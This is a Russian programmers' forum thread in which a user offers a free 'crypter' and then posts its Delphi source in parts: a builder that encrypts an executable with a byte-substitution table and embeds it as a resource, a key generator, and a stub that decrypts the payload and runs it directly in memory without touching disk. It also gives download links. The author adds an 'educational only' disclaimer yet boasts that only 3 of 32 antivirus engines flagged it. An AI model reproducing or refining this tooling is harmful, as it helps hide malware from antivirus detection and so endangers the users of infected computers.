Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Операционные системы > Софт
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 30.12.2007, 01:09   #1
execom
Редкий тунеядец
Форумчанин
 
Аватар для execom
 
Регистрация: 29.10.2006
Сообщений: 595
Лампочка Криптор к новому году от execom

Уважаемые, форумчане! Вашему вниманию предлагаю свой личный подарок форуму, это - простенький криптор... написал его сегодня вечером, не смотря на то что маленькая дочка мне мешала как могла)))) Принцип в общем-то не новый: файл шифруется и добавляется в ресурс и от туда при запуске расшифровывается и запускается на прямую в память без записи на диск...

Размер стаба: 5120 байт (без иконки) (с иконкой по умолчанию - 6144 байта), соответственно размер стаба зависит от размера приляпаной иконки... В случае упаковки криптованой проги fsg работоспособность сохраняется а прирост размера от стаба составляет, около 1,5 кб))

По поводу недостатков в программе можете не натруждать себя, программа free и поэтому я не сильно не натруждал себя в её написания))

линк: http://virusoff.pisem.su/PE32.rar

Последний раз редактировалось execom; 30.12.2007 в 03:07.
execom вне форума Ответить с цитированием
Старый 01.01.2008, 12:45   #2
execom
Редкий тунеядец
Форумчанин
 
Аватар для execom
 
Регистрация: 29.10.2006
Сообщений: 595
По умолчанию

Обновление принципа, стаб уменьшин в двое, вот линк: http://virusoff.pisem.su/PE32_1_1.rar
execom вне форума Ответить с цитированием
Старый 04.01.2008, 22:59   #3
Gambler
Игрок
Форумчанин
 
Аватар для Gambler
 
Регистрация: 29.10.2006
Сообщений: 367
По умолчанию

Похоже после нового года отошел только я. Или криптор только мне и нужен! Большое спасибо за подарок!!!
Жизнь всегда игра. Но смерть - не всегда поражение.

#define true (Math.random()>0.5) //Удачной отладки
Gambler вне форума Ответить с цитированием
Старый 05.01.2008, 08:04   #4
Alar
Александр
Администратор
 
Аватар для Alar
 
Регистрация: 28.10.2006
Сообщений: 17,758
По умолчанию

Программа-то нужная. Я еще первой версией, правда, пользуюсь
Alar вне форума Ответить с цитированием
Старый 07.01.2008, 06:33   #5
Simply-Art
Программист и
Участник клуба
 
Аватар для Simply-Art
 
Регистрация: 29.10.2006
Сообщений: 1,266
По умолчанию

Да порграмма очень нужная! Можно узнать как программа без записи на диск вытаскивается из ресурса?
Simply-Art вне форума Ответить с цитированием
Старый 07.01.2008, 23:42   #6
GAGARIN-NEW
Познаю мир
Форумчанин Подтвердите свой е-майл
 
Аватар для GAGARIN-NEW
 
Регистрация: 05.10.2007
Сообщений: 387
По умолчанию

Спасибо ! полезная программа ! респект
---
GAGARIN-NEW вне форума Ответить с цитированием
Старый 14.01.2008, 11:44   #7
execom
Редкий тунеядец
Форумчанин
 
Аватар для execom
 
Регистрация: 29.10.2006
Сообщений: 595
Лампочка ИСХОДНИКИ

По просьбам трудящихся выкидываю принципа программы на публичное растерзание...
Как в принципе многим ясно криптор состоит из двух независимых программ Билд и стаб.. Стаб находится в ресурсах у билда и при криптовке стаб извлекается и в стаб ставится иконка и криптуется файл и ставится в ресурсы в закриптованом виде...

Сначала разберёмся с исхзодниками билда:

не буду вдаваться в подробности выбора файлов OpenDialog-ом и тому подобными фишками GUI интерфейса.. Приведу исходники процедур и функций:

Для извлечения ресурса (стаба) я использую процедуру:

Код:
procedure ExtractRes(
ResType,//Тип ресурса 
ResName,//Имя песурса 
ResFileName//Имя файла в который необходимо извлечь ресурс предварительно его создав
 : String);
var
  Res : TResourceStream;
Begin
  Res:=TResourceStream.Create(Hinstance, Resname, Pchar(ResType));
  Res.SavetoFile(ResFileName);
  Res.Free;
end;
Далее я копирую в папку с криптором файл для криптования в памяти его зашифровывая по методу Цезаря (просто замена байт - маску замены я заранее подготовил в другой проге) вот исходник этой процедуры:

Код:
const//Массив подстановки
  yy:array [0..255] of byte = (
23, 47, 145, 211, 190, 234, 147, 13, 14,
32, 240, 208, 120, 228, 117, 243, 93, 88,
131, 119, 30, 176, 187, 170, 166, 15, 198,
141, 102, 146, 182, 193, 220, 184, 116,
189, 216, 9, 108, 103, 37, 154, 143, 186,
77, 134, 203, 110, 101, 229, 225, 75, 112,
224, 80, 195, 90, 250, 36, 161, 196, 174,
251, 165, 81, 45, 72, 66, 96, 188, 111,
236, 109, 209, 31, 53, 169, 10, 7, 51,
202, 248, 114, 106, 153, 115, 68, 118,
136, 121, 87, 92, 132, 148, 138, 38, 18,
69, 242, 95, 185, 192, 123, 227, 40, 244,
84, 34, 222, 60, 178, 33, 26, 22, 6, 73,
11, 215, 63, 194, 133, 233, 210, 100, 237,
155, 159, 21, 183, 54, 41, 64, 94, 144, 97,
219, 78, 42, 12, 44, 156, 181, 5, 25, 175,
83, 207, 17, 55, 197, 61, 235, 151, 39,
122, 158, 168, 76, 128, 238, 253, 139,
35, 152, 142, 157, 177, 204, 163, 212,
28, 140, 52, 137, 70, 86, 89, 245, 43,
67, 226, 167, 1, 27, 16, 199, 213, 62,
150, 19, 205, 48, 85, 130, 126, 29, 171,
49, 24, 218, 180, 230, 82, 58, 255, 98,
162, 172, 2, 50, 254, 206, 4, 59, 200,
241, 252, 3, 99, 221, 239, 79, 217, 201,
246, 214, 232, 129, 113, 127, 65, 0, 91,
231, 8, 164, 160, 135, 107, 249, 57, 46,
223, 191, 124, 173, 247, 71, 104, 149,
125, 74, 20, 105, 179, 56
);

Procedure CopyCryptFile(
FromF,//От куда копировать
ToF//Куда копировать
:PChar);
Const
 BUF_SIZE = $4000;
var
  buf: array[1..BUF_SIZE] of byte;
  f1h, f2h: THandle;
  i, j, fsize, CRD : DWORD;
begin
  f1h:=CreateFile(FromF,GENERIC_READ,FILE_SHARE_READ,nil,OPEN_EXISTING, 0,0);
  f2h:=CreateFile(ToF,GENERIC_WRITE,0,nil,CREATE_ALWAYS,0,0);
  fsize:=GetFileSize(f1h,nil);
  for I := 1 to (fsize div BUF_SIZE)+1 do
    begin
      ReadFile(f1h, Buf, BUF_SIZE, CRD, nil);
      for j:=1 to BUF_SIZE do buf[j]:=yy[buf[j]];//Подмена байт (типо шифрование)
      WriteFile(f2h, Buf, CRD, CRD, nil);
    end;
  CloseHandle(f1h);
  CloseHandle(f2h);
end;
Далее я читаю весь зашифрованный файл в AnsiString буфер.... вот этой процедурой:
Код:
Function ReadFile(FileName{имя файла}: String): AnsiString;
Var
  F             :File;
  Buffer        :AnsiString;
  Size          :Integer;
  ReadBytes     :Integer;
  DefaultFileMode:Byte;
Begin
  Result := '';
  DefaultFileMode := FileMode;
  FileMode := 0;
  AssignFile(F, FileName);
  Reset(F, 1);
  If (IOResult = 0) Then
  Begin
    Size := FileSize(F);
    While (Size > 1024) Do
    Begin
      SetLength(Buffer, 1024);
      BlockRead(F, Buffer[1], 1024, ReadBytes);
      Result := Result + Buffer;
      Dec(Size, ReadBytes);
    End;
    SetLength(Buffer, Size);
    BlockRead(F, Buffer[1], Size);
    Result := Result + Buffer;
    CloseFile(F);
  End;
  FileMode := DefaultFileMode;
End;
Далее пихаю этот буфер в стаб процедурой:

Код:
Procedure WriteResData(ToFile:String; Buffer:Pointer;
                       Size:Integer; ResName,ResType:String);
Var
  RH : INTEGER;
Begin
  RH := BeginUpdateResource(PChar(ToFile), False);
  UpdateResource(RH, PChar(ResType), PChar(ResName), 0, Buffer, Size);
  EndUpdateResource(RH, FALSE);
End;
execom вне форума Ответить с цитированием
Старый 14.01.2008, 12:07   #8
execom
Редкий тунеядец
Форумчанин
 
Аватар для execom
 
Регистрация: 29.10.2006
Сообщений: 595
Лампочка ИСХОДНИКИ часть2

Для установки иконки на файл использую стандартную буржуйскую процедуру ChangeIcon её вы можете взять в модуле: virusoff.pisem.su/vIconChanger.rar ... Не буду на этом останавливаться...

Т.о. процедура обработки событи при нажатии на кнопку криптования выглядит так:
Код:
procedure TForm1.SpeedButton4Click(Sender: TObject);
var
  Buffer        :String;
begin
  if FileExists(Opendialog1.filename) then
  begin
    ExtractRes('DATA','STUB',ExtractFilePath(Opendialog1.filename)+'crypt.exe');
    CopyCryptFile(PChar(Opendialog1.filename),PChar(MyPath+'tmp'));
    Buffer := ReadFile(MyPath+'tmp');
    WriteResData(ExtractFilePath(Opendialog1.filename)+'crypt.exe', @Buffer[1], Length(Buffer), 'EXECUTE');
    DeleteFile(MyPath+'tmp');
    if FileExists(Opendialog2.filename) then
      ChangeIcon(ExtractFilePath(Opendialog1.filename)+'crypt.exe', Opendialog2.filename, 'AyIcon');
      Application.MessageBox('Операция успешно окончена!','Готово!',MB_OK);
  end
  else
  begin
    Application.MessageBox('Файл не найден','Ошибка!',MB_OK or MB_ICONERROR);
  end;
end;
Я думаю нет смысла пояснять что использую метод цезаря маски шифрования и расшифровния разные.. Для того что бы сгенерировать маску шифрования и расшифрования я использую код(это само собой отдельное приложение..):
Код:
var
  A : array [0..255] of byte;//Ключ шифрования
  B : array [0..255] of byte;//Негативный ключ (ключ расшифрования)

Procedure SetKey;
Label L;
var
  R,I,ii:integer;
begin
//Создание ключа
randomize;
for I:=0 to 255 do A[I]:=0;//Очистка массива
for I:=0 to 255 do
  begin
    L:
    R:=random(256);
    if A[R]=0 then A[R]:=I
               else goto L;
  end;
//Создание негативного ключа
ii:=0;
for i:=0 to 255 do
  begin
    while true do
      begin
        if A[ii]=i then break;
        inc(ii);
      end;
    B[i]:=ii;
    ii:=0;
  end;
end;
var
     i : integer;
  txt1 : textfile;
  txt2 : textfile;
begin
  SetKey;//Создаём ключи
  AssignFile(txt1,'crypt.key');//Тут летит готовый массив для Билда
  AssignFile(txt2,'negativ.key');//Тут лежит готовый массив для стаба
  ReWrite(txt1);
  ReWrite(txt2);
  for i:=0 to 255 do
    Write(txt1,A[i],', ');
  for i:=0 to 255 do
    Write(txt2,B[i],', ');
  CloseFile(txt1);
  CloseFile(txt2);
end.
Т.о. если кто-то будет повторять этот исходник крипта, вы можете по крайней мере сгенерировать для себя другую ключ маску... А вообще это не такое уж серьёзное шифрование.. Лучше чего нибудь своё сделайте...
execom вне форума Ответить с цитированием
Старый 14.01.2008, 12:33   #9
execom
Редкий тунеядец
Форумчанин
 
Аватар для execom
 
Регистрация: 29.10.2006
Сообщений: 595
Лампочка ИСХОДНИКИ часть3 (СТАБ)

Теперь вспомним о стабе... О том как делать маленькие приложения на делфи я думаю уже многие знают.. Это упоминалось в моих статьях, но всё же я на этом остановлюсь и в этот раз... Для начала создадим три файла:
sysinit.pas
Код:
unit SysInit;

interface

procedure _InitExe;
procedure _halt0;  

var
  ModuleIsLib  : Boolean; 
  TlsIndex     : Integer = -1; 
  TlsLast      : Byte; 

const
  PtrToNil     : Pointer = nil; 

implementation

procedure _InitExe;
asm
end;
procedure ExitProcess(uExitCode: INTEGER); stdcall; external 'kernel32.dll' name 'ExitProcess';
procedure _halt0;
begin
ExitProcess(0);
end;
end.
system.pas
Код:
unit System;
interface
procedure _HandleFinally;
type
TGUID = record
D1: LongWord;
D2: Word;
D3: Word;
D4: array [0..7] of Byte;
end;
PInitContext = ^TInitContext;
TInitContext = record
OuterContext: PInitContext; 
ExcFrame: Pointer; 
InitTable: pointer; 
InitCount: Integer; 
Module: pointer; 
DLLSaveEBP: Pointer; 
DLLSaveEBX: Pointer; 
DLLSaveESI: Pointer; 
DLLSaveEDI: Pointer; 
ExitProcessTLS: procedure; 
DLLInitState: Byte; 
end;
implementation
procedure _HandleFinally;
asm
end;
end.
bat.bat
Код:
@DCC32  -Q system.pas sysinit.pas -M -Y -Z -$D- -O
@DEL BAT.BAT
Запускаем bat.bat он удаляется а в папке с появляется два новых файла: system.dcu sysinit.dcu теперь в этом каталоге создаем файл проекта stub.dpr и запускаем его в делфи.. При компиляции размер стаба составит вместо положенных 16384 байта - 5120 байт.. Вот и весь фокус у уменьшением размера... Теперь об исходнике стаба:... Большой исходник... 16кб.. Но это только лишь из-за того что много пришлось переносить из модулей.. Приведу лишь основную часть программы:
Код:
const
  yy:array [0..255] of char = (
#231, #182, #208, #217, #212, #142, #114, #78, #234, #37, #77, #116,
#138, #7, #8, #25, #184, #147, #96, #189, #252, #127, #113, #0, #198,
#143, #112, #183, #170, #195, #20, #74, #9, #111, #107, #162, #58,
#40, #95, #153, #104, #130, #137, #178, #139, #65, #241, #1, #191,
#197, #209, #79, #172, #75, #129, #148, #255, #240, #203, #213, #109,
#150, #187, #118, #131, #230, #67, #179, #86, #97, #174, #247, #66,
#115, #251, #51, #157, #44, #136, #221, #54, #64, #202, #145, #106,
#192, #175, #90, #17, #176, #56, #232, #91, #16, #132, #99, #68, #134,
#205, #218, #123, #48, #28, #39, #248, #253, #83, #238, #38, #72, #47,
#70, #52, #228, #82, #85, #34, #14, #87, #19, #12, #89, #154, #102, #244,
#250, #194, #229, #158, #227, #193, #18, #92, #120, #45, #237, #88,
#173, #94, #161, #171, #27, #164, #42, #133, #2, #29, #6, #93, #249,
#188, #152, #163, #84, #41, #125, #140, #165, #155, #126, #236, #59,
#206, #168, #235, #63, #24, #181, #156, #76, #23, #196, #207, #245,
#61, #144, #21, #166, #110, #254, #200, #141, #30, #128, #33, #100,
#43, #22, #69, #35, #4, #243, #101, #31, #119, #55, #60, #149, #26,
#185, #214, #223, #80, #46, #167, #190, #211, #146, #11, #73, #122,
#3, #169, #186, #225, #117, #36, #222, #199, #135, #32, #219, #108,
#242, #53, #50, #180, #103, #13, #49, #201, #233, #226, #121, #5, #151,
#71, #124, #159, #220, #10, #215, #98, #15, #105, #177, #224, #246,
#81, #239, #57, #62, #216, #160, #210, #204
);
const
  ResName = 'EXECUTE';
  ResType = 'DATA';
  
var
   ResourcePointer : PChar;
  ResourceLocation : Cardinal;
     ResDataHandle : Cardinal;
               pch : PathBuf;
                 p : PChar;
                 i : integer;
      ResourceSize :  Cardinal;
                yy : array [0..255] of char;

begin
  ResourceLocation := FindResource(0, ResName, ResType);
  ResourceSize := SizeofResource(0, ResourceLocation);
  ResDataHandle := LoadResource(0, ResourceLocation);
  ResourcePointer := LockResource(ResDataHandle);
  for i:=0 to ResourceSize-1 do
  ResourcePointer[i]:=yy[ord(ResourcePointer[i])];
  p:=GetCommandLine;
  for i:=1 to MAX_PATH do
  if p[i]=#34 then break;
  GetModuleFileName(0, pch, MAX_PATH);
  MemoryExecute(ResourcePointer, @pch, @p[i+1]);
  FreeResource(ResDataHandle);
  ExitProcess(0);
End.
Я думаю что всем уже все стало понятно.... Прицедура MemoryExecute - находится по исходнику выше, она практически мной не изменена относительно оригинала авторского... (то же какая-то буржуйская)))

Полный исходник стаба можно взять сдесь: virusoff.pisem.su/Stub.rar ....

ЭТОТ крипт и все его исходники я привожу чисто в обучающих целях... Не вздумайте использовать криптор для скрытия вирусов от антивирусов... Кстати с этим он нормально справляется... В день когда я прогу написал её палило 3 антивируса из 32 на вирустотале (virustotal.com)

Последний раз редактировалось execom; 14.01.2008 в 12:42.
execom вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Респект execom !!!! merax Свободное общение 10 20.08.2008 09:29
17 июня у execom был день рождения. поздравляю! Alar Свободное общение 11 23.06.2008 09:09
Какие вирусы ждут вас/нас в 2007 году Virtson Обсуждение статей 9 19.03.2007 05:28
Поздравляю EXECOM! nova-alex Свободное общение 23 26.02.2007 10:10